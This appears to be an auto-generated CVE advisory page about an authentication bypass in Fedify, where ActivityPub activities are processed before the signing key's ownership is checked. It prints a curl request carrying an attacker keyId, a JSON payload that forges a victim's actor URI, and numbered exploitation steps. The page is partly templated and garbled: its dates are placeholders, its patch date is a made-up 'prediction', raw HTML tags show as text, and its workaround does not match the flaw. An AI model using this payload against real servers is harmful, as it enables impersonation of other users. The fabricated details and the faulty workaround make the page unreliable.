Listen to this Post
How the CVE Works
The vulnerability occurs in Fedify’s `handleInboxInternal` function where HTTP-signed ActivityPub activities are processed before key verification. An attacker crafts a malicious ActivityPub message (e.g., Create, Follow) with a spoofed `actor` field (e.g., https://victim.example.com/users/alice`) but signs it with their own key. Fedify processes the activity in `routeActivity()` (line 1712) before checking key ownership via `doesActorOwnKey()` (line 1730). By the time a `401 Unauthorized` is returned, the forged activity is already queued or executed, enabling full impersonation.
<h2 style="color: blue;">DailyCVE Form</h2>
Platform: Fedify
Version: All versions
Vulnerability: Authentication Bypass
Severity: Critical
Date: 2023-XX-XX
<h2 style="color: blue;">Prediction: Patch expected 2023-XX-XX</h2>
<h2 style="color: blue;">What Undercode Say</h2>
curl -X POST -H "Signature: keyId=\"https://attacker.com/users/evemain-key\"" --data @malicious_activity.json https://fedify-instance/inbox
// Malicious activity payload
const maliciousActivity = {
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"actor": "https://victim.example.com/users/alice",
"object": { "type": "Note", "content": "Forged!" }
};
<h2 style="color: blue;">How Exploit</h2>
<h2 style="color: blue;">1. Forge ActivityPub activity with victim’s `actor` URI.</h2>
<h2 style="color: blue;">2. Sign HTTP request with attacker’s key.</h2>
<h2 style="color: blue;">3. Send to Fedify inbox endpoint.</h2>
<h2 style="color: blue;">Protection from this CVE</h2>
- Patch: Move `doesActorOwnKey` beforerouteActivity`.
– Workaround: Reject unsigned activities.
Impact
- Full actor impersonation.
- Fake posts/follows/boosts.
- Federation trust broken.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
